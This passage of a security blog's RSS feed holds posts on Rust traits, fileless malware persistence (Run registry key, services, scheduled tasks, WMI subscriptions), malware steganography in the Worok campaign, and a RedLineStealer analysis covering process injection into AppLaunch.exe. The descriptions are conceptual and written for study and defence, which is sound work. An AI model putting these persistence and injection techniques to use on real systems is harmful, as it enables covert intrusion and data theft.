&lt;div class=&quot;language-rust highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cm&quot;&gt;/* A트레잇을 구현하지 않았을 때 동작할 내용을 정의합니다. */&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TraitNotImplemented&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DATA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bool&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;get_data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;This type/trait does not implement that trait.&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// 모든 타입에 대해 ::DATA를 적으면 false가, ::get_data를 적으면 위 메세지가 나오게 합니다.&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;impl&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TraitNotImplemented&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;T&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Wrapper&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(::&lt;/span&gt;&lt;span class=&quot;nn&quot;&gt;core&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nn&quot;&gt;marker&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PhantomData&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;cm&quot;&gt;/* A트레잇을 구현했을 때 동작할 내용을 정의합니다. */&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// 타입에 대해 직접 impl한게 우선권이 높아&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// A를 구현한 타입에 ::DATA를 하면 true, ::get_data를 적으면 아래 메세지가 나오게 됩니다.&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;impl&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;Sized&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;A&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Wrapper&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DATA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;bool&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;get_data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;This type/trait implement that thait&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b_type_impl_a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Wrapper&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;B&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DATA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
</description>
        <pubDate>Sat, 14 Oct 2023 04:36:22 +0000</pubDate>
        <link>https://slowanalyst.github.io/blog/Rust-Static_Validation/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/blog/Rust-Static_Validation/</guid>
      </item>
    
      <item>
        <title>Deep dive into Fileless Malware</title>
        <description>&lt;h1 id=&quot;fileless-malware&quot;&gt;&lt;strong&gt;Fileless Malware&lt;/strong&gt;&lt;/h1&gt;

&lt;h2 id=&quot;definition&quot;&gt;Definition&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;컴퓨터 메모리 기반 아티팩트, 즉 RAM에 배타적으로 존재하는 컴퓨터 관련 악성코드&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;장점&lt;/strong&gt;
    &lt;ul&gt;
      &lt;li&gt;공격자 입장에서는 AV를 회피하기 위한 전략을 짜는데 그 중 하나인 파일을 사용하지 않는 기법&lt;/li&gt;
      &lt;li&gt;파일이 없으니까 AV로 탐지가 불가능 - 해시값 구하지 못함&lt;/li&gt;
      &lt;li&gt;흔적을 남기지 않음&lt;/li&gt;
      &lt;li&gt;White process만 동작 가능하도록 제어하는 보안 솔루션도 정상으로 판단 가능&lt;/li&gt;
    &lt;/ul&gt;

    &lt;aside&gt;
  💡 AV(Anti-Virus) : 악성파일을 탐지 및 차단하여 삭제
    
  &lt;/aside&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;단점&lt;/strong&gt;
    &lt;ul&gt;
      &lt;li&gt;재부팅할 경우 사라짐 → 지속적인 시스템에 대한 제어권을 얻기 위해 재부팅되도 Malware가 동작할 수 있도록 &lt;strong&gt;지속성&lt;/strong&gt;(Persistence) 전략 사용 - &lt;strong&gt;어떤 지속성 전략을 가질 수 있는지가 관건&lt;/strong&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;method&quot;&gt;Method&lt;/h2&gt;

&lt;p&gt;일반적인 악성코드는 실행파일(PE) 형태를 가지지만, 파일리스는 운영체제에서 제공하는 스크립트 엔진을 사용해 악성행위를 수행&lt;/p&gt;

&lt;p&gt;즉, 따로 디스크에 파일 형태로 저장되지 않고 메모리에 바로 실행 가능한 형태의 공격기법을 의미&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;AVT(Advanced Volatile Threat)&lt;/strong&gt;
    &lt;ul&gt;
      &lt;li&gt;“지능형 휘발성 위협”&lt;/li&gt;
      &lt;li&gt;APT 공격에 파일리스 유형의 기법이 사용&lt;/li&gt;
      &lt;li&gt;
        &lt;p&gt;In-memory Malware, LOL(Living off The Land) 도구 사용&lt;/p&gt;

        &lt;aside&gt;
  💡 LOL : “자급자족”, 외부 도구가 아닌 타겟 시스템 내의 신뢰할 수 있는 유틸리티 등을 악성 행위를 수행
        
  &lt;/aside&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;method-type&quot;&gt;Method Type&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;LOL 도구 중 powershell 스크립트를 이용한 기법&lt;/li&gt;
  &lt;li&gt;Reflective DLL Injection : Malware Dll을 메모리에 로드&lt;/li&gt;
  &lt;li&gt;Memory Exploit : Kernel Memory 보안 취약점 활욜&lt;/li&gt;
  &lt;li&gt;Script-based Technique : Powershell, JavaScript, VBScript, …&lt;/li&gt;
  &lt;li&gt;WMI Persistence&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;attack-procedure&quot;&gt;Attack Procedure&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;공격자가 타켓 시스템 선정 후 다양한 Attack Vector를 통해 JavaScript나 VBScript를 실행 하여 &lt;strong&gt;런처 역할&lt;/strong&gt;을 할 수 있는 프로세스 실행&lt;/li&gt;
  &lt;li&gt;지속적으로 Powershell Oneliner가 실행할 수 있도록 Registry 항목을 만들거나 WMI 객체 생성&lt;/li&gt;
  &lt;li&gt;Powershell Oneliner 실행 → 메모리 내에서 악성코드 실행&lt;/li&gt;
&lt;/ol&gt;

&lt;aside&gt;
💡 Powershell Oneliner : 한 줄로 구성된 문자열 스크립트 명령, 파이프 라인을 사용하여 여러 줄을 한 줄로 구성

&lt;/aside&gt;

&lt;h2 id=&quot;persistance-strategy&quot;&gt;Persistance strategy&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;지속적으로 시스템에 대한 제어권 얻는 것을 유지하기 위한 전략&lt;/li&gt;
  &lt;li&gt;최소한의 Malware를 시스템에 남기고 재부팅 후에도 지속적인 제어권을 유지시키기 위해 레지스트리, 서비스 스케쥴러, WMI등&lt;/li&gt;
&lt;/ul&gt;

&lt;aside&gt;
💡 WMI(Windows Management Instrumentation) : 윈도우의 리소스에 접근하여 여러가지 설정을 구성. (ex. 로컬 및 원격으로 데이터 관리, 운영 및 관리를 위한 내부 인프라 구조)

&lt;/aside&gt;

&lt;h3 id=&quot;example&quot;&gt;Example&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;1) 레지스트리&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Powershell Script로 레지스트리 “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” 등록
    &lt;ul&gt;
      &lt;li&gt;Run : 윈도우 자동 시작을 위한 기능&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;MS에서 제공하는 autoruns 툴을 이용하여 시스템 시작시 자동 실행되는 다양한 등록값에 대한 정보 확인 가능 → Powershell Oneliner가 잘 작동되는지 확인 가능&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;2) 서비스&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;sc를 이용해 서비스에 Powershell Oneliner 등록&lt;/li&gt;
  &lt;li&gt;cmd or Powershell에서 sc(Service Control) 명령어를 통해 윈도우 서비스 등록, 삭제, 시작, 중지, 서비스 시작 유형 변경 가능
    &lt;ul&gt;
      &lt;li&gt;auto : 서비스 시작 유형 중 하나로 컴퓨터를 재시작할시 로그인 된 사용자 없이 자동으로 실행&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;→ 부팅될때마다 Powershell Oneliner 작동&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3) 작업 스케쥴러&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;schtasks를 이용해 작업 스케쥴러에 Powershell Oneliner 등록&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;→ 스케쥴러의 실행 시점이나 주기를 지정가능&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4) WMI&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Permanent Event Subscription은 Event Query를 활용하게 되며 해당 기능을 통해 시스템 내에서 발생하는 이벤트 중 특정 조건을 가진 이벤트가 발생할때마다 특정 로직을 실행 가능&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;→ Permanent Event Subscription를 시스템상 등록하기 위해서는 관리자 권한 필요&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Event Filter
    &lt;ul&gt;
      &lt;li&gt;트리거 이벤트 찾기&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Event Consumer
    &lt;ul&gt;
      &lt;li&gt;필터가 성공적으로 일치하면 실행&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Binding
    &lt;ul&gt;
      &lt;li&gt;필터가 일치할 때마다 실행되는 Consumer를 연결&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;response-plan&quot;&gt;Response plan&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;로깅 - Powershell Script 블록 로깅&lt;/li&gt;
  &lt;li&gt;로깅 - Sysmon&lt;/li&gt;
  &lt;li&gt;EDR제품 : 실시간 탐지 및 차단&lt;/li&gt;
&lt;/ol&gt;
</description>
        <pubDate>Sat, 07 Oct 2023 21:01:01 +0000</pubDate>
        <link>https://slowanalyst.github.io/blog/Malware/FilelessMalware</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/blog/Malware/FilelessMalware</guid>
      </item>
    
      <item>
        <title>Deep dive into Steganography</title>
        <description>&lt;h1 id=&quot;steganography&quot;&gt;&lt;strong&gt;Steganography&lt;/strong&gt;&lt;/h1&gt;

&lt;h2 id=&quot;definition&quot;&gt;Definition&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;메시지를 숨겨서 비밀문서를 작성&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;digital-steganography&quot;&gt;Digital Steganography&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;텍스트 파일, 그림 파일, 오디오 파일, 동영상 파일등으로 메시지를 숨김&lt;/li&gt;
  &lt;li&gt;주로 그림 파일을 대상으로 함&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;audio-file&quot;&gt;Audio File&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;인간의 청각 영역을 벗어난 주파수 대역에 노이즈 형태로 메시지를 삽입&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;image-file&quot;&gt;Image File&lt;/h3&gt;

&lt;ol&gt;
  &lt;li&gt;Spatial domain : 픽셀을 이용&lt;/li&gt;
  &lt;li&gt;Transform(or Frequency) domain : Transform, Frequency에 정보를 숨김&lt;/li&gt;
  &lt;li&gt;Distortion : 이미지 파일을 변형시켜 정보를 숨김, 해독자는 원본 이미지 파일을 가지고 있어야함&lt;/li&gt;
  &lt;li&gt;Masking and filtering : 이미지의 특정 부분의 밝기나 휘도를 변형시켜 정보를 숨김&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;use-of-steganography-in-malware&quot;&gt;Use of Steganography in Malware&lt;/h2&gt;

&lt;h3 id=&quot;purpose&quot;&gt;Purpose&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;안티 바이러스 SW의 탐지를 피하기 위함&lt;/li&gt;
  &lt;li&gt;장점 : 기술 구현 쉽고 탐지 어려움&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;with-uesd-attack&quot;&gt;With Uesd Attack&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;말버타이징(Malvertising) 공격&lt;/li&gt;
  &lt;li&gt;Exploit-Kit 공격&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;malware-type&quot;&gt;Malware Type&lt;/h3&gt;

&lt;ol&gt;
  &lt;li&gt;Payload라 불리는 최종 악성코드를 설치하는 광정을 숨김&lt;/li&gt;
  &lt;li&gt;악성코드를 실행하는데 필요한 Configuration 정보를 숨김&lt;/li&gt;
  &lt;li&gt;해커가 운영하는 C&amp;amp;C 서버에서, 감염된 시스템에 전달하는 명령어를 숨김&lt;/li&gt;
  &lt;li&gt;감염된 시스템에서 동작하는 Malware가 수집한 정보를, 외부 C&amp;amp;C서버로 보낼때, 정보를숨김&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;real-world-example&quot;&gt;Real-World Example&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;‘Worok’ 스테가노그래피 기법을 통해 PNG 파일에 Malware 숨김&lt;/p&gt;

    &lt;p&gt;&lt;strong&gt;Malware Type&lt;/strong&gt;&lt;/p&gt;

    &lt;ul&gt;
      &lt;li&gt;컴퓨터 정보 탈취 악성코드를 위한 PNG 파일&lt;/li&gt;
    &lt;/ul&gt;

    &lt;p&gt;Worok’s complete infection chain&lt;/p&gt;

    &lt;p&gt;&lt;strong&gt;Behavior Method&lt;/strong&gt;&lt;/p&gt;

    &lt;ol&gt;
      &lt;li&gt;PNG 파일에 Malware 숨기기&lt;/li&gt;
      &lt;li&gt;PNG에 Payload 숨기기
        &lt;ol&gt;
          &lt;li&gt;이미지 픽셀의 가장 중요하지 않은 비트에 악성코드의 작은 코드를 삽입하는 ‘최하위 비트(LSB) 인코딩’ 이라는 기술 사용&lt;/li&gt;
          &lt;li&gt;PNGLoader가 해당 비트에서 추출한 첫 번째 Payload는 ESET이나 Avast 모두 검색할 수 없는 PowerShell script임&lt;/li&gt;
          &lt;li&gt;PNG 파일에 숨어 있는 두 번째 Payload는 C2 통신, 파일 유출 등을 위해 DropBox 파일 호스팅 서비스를 남용하는 맞춤형 .NET C# 정보 스틸러(DropBoxControl)&lt;/li&gt;
        &lt;/ol&gt;
      &lt;/li&gt;
      &lt;li&gt;DropBox abuse
        &lt;ol&gt;
          &lt;li&gt;‘DropBoxsControl’ Malware는 행위자가 제어하는 DropBox 계정을 사용하여 손상된 시스템에서 데이터 및 명령을 수신하거나 파일 업로드 수행&lt;/li&gt;
          &lt;li&gt;명령은 공격자의 DropBox 리포지토리에 있는 암호화된 파일에 저장되며 Malware는 대기 중인 작업을 검색하기 위해 주기적으로 액세스&lt;/li&gt;
        &lt;/ol&gt;
      &lt;/li&gt;
      &lt;li&gt;지원되는 명령
        &lt;ul&gt;
          &lt;li&gt;주어진 매개변수로 “cmd /c” 실행&lt;/li&gt;
          &lt;li&gt;주어진 매개변수로 실행 파일 실행&lt;/li&gt;
          &lt;li&gt;DropBox에서 장치로 데이터 다운로드&lt;/li&gt;
          &lt;li&gt;장치에서 DropBox로 데이터 업로드&lt;/li&gt;
          &lt;li&gt;피해자 시스템의 데이터 삭제&lt;/li&gt;
          &lt;li&gt;피해자 시스템의 데이터 이름 바꾸기&lt;/li&gt;
          &lt;li&gt;정의된 디렉토리에서 파일 정보 추출&lt;/li&gt;
          &lt;li&gt;백도어에 대한 새 디렉토리 설정&lt;/li&gt;
          &lt;li&gt;시스템 정보 유출&lt;/li&gt;
          &lt;li&gt;백도어 구성 업데이트&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
    &lt;/ol&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href=&quot;https://www.bleepingcomputer.com/news/security/worok-hackers-hide-new-malware-in-pngs-using-steganography/&quot;&gt;Worok hackers hide new malware in PNGs using steganography&lt;/a&gt;&lt;/p&gt;
</description>
        <pubDate>Sat, 07 Oct 2023 20:20:01 +0000</pubDate>
        <link>https://slowanalyst.github.io/blog/Malware/Steganography</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/blog/Malware/Steganography</guid>
      </item>
    
      <item>
        <title>RedLineStealer Analysis</title>
        <description>&lt;h1 id=&quot;title-malware-analysis-redlinestealer&quot;&gt;Title: Malware Analysis RedLineStealer&lt;/h1&gt;
&lt;p&gt;Writter: foliv0ra, eveheeero&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;SHA256 hash: 6be57566a72c81a9336d39b56627c14aa6a04e604954b71a84e83125171a742c&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Family: RedLineStealer&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;First seen: 2023-09-23 22:00:12 UTC&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Environment: Windows11 Sandbox&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Used Tool&lt;/p&gt;
    &lt;ol&gt;
      &lt;li&gt;DIE&lt;/li&gt;
      &lt;li&gt;x64dbg&lt;/li&gt;
      &lt;li&gt;Process Explorer&lt;/li&gt;
    &lt;/ol&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;analysis-overview&quot;&gt;{Analysis OverView}&lt;/h2&gt;

&lt;p&gt;Based on VirusTotal, It was uploaded at 2023-09-23 20:58:42 UTC. The Malware turned out to be RedLineStealer, which steals personal information such as user Emails, Web browsers, and Cyptocurrency.&lt;/p&gt;

&lt;p&gt;File Type: EXE&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/RedLineStealer/image-2.png&quot; alt=&quot;Alt text&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;static-analysis&quot;&gt;{Static Analysis}&lt;/h2&gt;
&lt;h3 id=&quot;diedetect-it-easy&quot;&gt;DIE(Detect It Easy)&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/RedLineStealer/image.png&quot; alt=&quot;Alt text&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Compiler: Microsoft Visaul C/C++(2017 v.15.5-6)[EXE32], Microsoft Visaul C/C++(2022 v.17.4)[-]&lt;/li&gt;
  &lt;li&gt;Not Packing
But, When I opened the binary with debbugger, my thoughts changed.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/RedLineStealer/image-1.png&quot; alt=&quot;Alt text&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Entropy&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;summary&quot;&gt;{Summary}&lt;/h2&gt;

&lt;p&gt;The code inside the Malware is decrypted and injected into Microsoft.NET’s AppLaunch.exe, and AppLaunch.exe is created and executed. There is no code to steal personal information in this malware, ant it is assumed that the code injected into AppLaunch.exe contains code to steal personal information.&lt;/p&gt;

&lt;h2 id=&quot;dynamic-analysis&quot;&gt;{Dynamic Analysis}&lt;/h2&gt;
&lt;h3 id=&quot;x64dbg&quot;&gt;x64dbg&lt;/h3&gt;

&lt;ol&gt;
  &lt;li&gt;The front loop is not related to the main function, so it is skipped, and the place where BP is placed is the main function.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/RedLineStealer/image-3.png&quot; alt=&quot;Alt text&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;In this part, obfuscation techniques are used. If you look closely at the Operand of the jump command, it points to an address that is different from the address value processed in the debugger.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/RedLineStealer/image-4.png&quot; alt=&quot;Alt text&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;When you jump to that address, it is converted to the code below and a new jump is created.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/RedLineStealer/image-5.png&quot; alt=&quot;Alt text&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Decrypt the values in the encrypted memory dump using xor and add.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/RedLineStealer/image-11.png&quot; alt=&quot;Alt text&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;If you run it dynamically and perform decryption, you can see that an EXE (header: 4D 5A) file like the memory has been created.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/RedLineStealer/image-12.png&quot; alt=&quot;Alt text&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;In the createprocessW API, the 6th Argument is saved as 4, which is the argument value that tells AppLaunch.exe to run and pause. The binary value created here is later injected into AppLaunch.exe.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/RedLineStealer/image-8.png&quot; alt=&quot;dbg CreateprocessW&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;
&lt;img src=&quot;/assets/img/posts/RedLineStealer/image-10.png&quot; alt=&quot;Alt text&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;% Reference link: https://learn.microsoft.com/ko-kr/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/RedLineStealer/image-7.png&quot; alt=&quot;CreateprocessW&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;
&lt;img src=&quot;/assets/img/posts/RedLineStealer/image-9.png&quot; alt=&quot;Alt text&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Execute the NTWriteVirtualMemory function and insert the code in the memory into AppLaunch.exe as mentioned above.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/RedLineStealer/image-13.png&quot; alt=&quot;Alt text&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;As a result of monitoring using Process Explorer, it was confirmed that AppLaunch.exe, which had been inserted with code presumed to be malicious code, was executed and immediately paused as mentioned above.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/RedLineStealer/image-14.png&quot; alt=&quot;Alt text&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In the next task, we analyze AppLaunch.exe, which has malicious actions inserted into it. :)&lt;/p&gt;
</description>
        <pubDate>Sat, 07 Oct 2023 15:50:01 +0000</pubDate>
        <link>https://slowanalyst.github.io/blog/Malware/6be57566a72c81a9336d39b56627c14aa6a04e604954b71a84e83125171a742c</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/blog/Malware/6be57566a72c81a9336d39b56627c14aa6a04e604954b71a84e83125171a742c</guid>
      </item>
    
      <item>
        <title>Wasm/Wasi/Wasix를 알아보자</title>
        <description>&lt;h2 id=&quot;요약&quot;&gt;요약&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;wasm - 웹 환경에서 네이티브 코드를 돌리는 기술 (연산 속도가 매우 빠르다)&lt;/li&gt;
  &lt;li&gt;wasi - 웹 환경에서 네이티브를 돌린다면 크로스플랫폼적이니까, wasm을 이용해 크로스플랫폼 프로그램을 돌리는 기술&lt;/li&gt;
  &lt;li&gt;wasix - wasi 발전이 빠르지 않아 새로 나오게 된 기술, wasi의 고도화버전(래핑버전), 다양한 함수 지원&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;최근 wasm쪽 커뮤니티에서, wasi 업데이트가 오래 나오지 않아 wasmer팀에서 wasix를 새로 만들었다는 소식이 들려왔다. &lt;a href=&quot;https://wasix.org/&quot;&gt;링크&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;새로 만들어진 Wasix에서는 웹소켓, 비동기프로그래밍, 스레딩, 브라우징, 서브프로세스 등… 이게 웹어셈 환경에서 돌아간다고? 싶은 기능들이 돌아간다고 한다.&lt;/p&gt;

